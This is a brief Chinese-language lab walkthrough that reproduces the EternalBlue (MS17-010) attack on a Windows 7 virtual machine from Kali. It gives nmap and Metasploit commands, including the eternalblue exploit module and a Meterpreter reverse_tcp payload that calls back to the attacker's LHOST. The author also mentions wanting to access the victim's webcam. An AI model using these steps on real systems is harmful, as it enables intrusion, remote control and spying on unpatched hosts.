永恒之蓝漏洞复现

参考：

https://blog.csdn.net/n5xxxx__zy/article/details/90705057

目标ip：192.168.91.149
攻击机：192.168.91.146

目标系统：win7
攻击机：kail
准备工作：
目标机:win7开启网络共享：控制面板-网络和共享中心-更改高级共享设置-启用网络发现-关闭密码保护共享-保存修改
攻击机:开启postgresql

开启postgresql：
先查看当前postgresql状态：
service postgresql status
将其开启：

service postgresql start  

使用nmap扫描一下收集信息

nmap -sS 192.168.91.149

发现445端口开启（445端口就是网络共享端口），可以进行下一步

打开msf，先搜索一下漏洞模块：

search ms17-010

然后使用辅助模块：

use auxiliary/scanner/smb/smb_ms17_010

设置payload：set payload windows/x64/meterpreter/reverse_tcp
要选用其他payload可以使用show payloads查看适合要攻击的目标主机的payload

    show options 

    set RHOST 目标主机地址 

    set LHOST 攻击机地址 

	set LPORT

回连的端口 ：该命令设置目标主机回连至攻击机的端口，默认为4444


run：开始攻击（使用攻击模块：use exploit/windows/smb/ms17_010_eternalblue）

我这个win7太菜了，还没等我进一步探索，弄点摄像头什么的，它就崩了，不管怎么说，复现完毕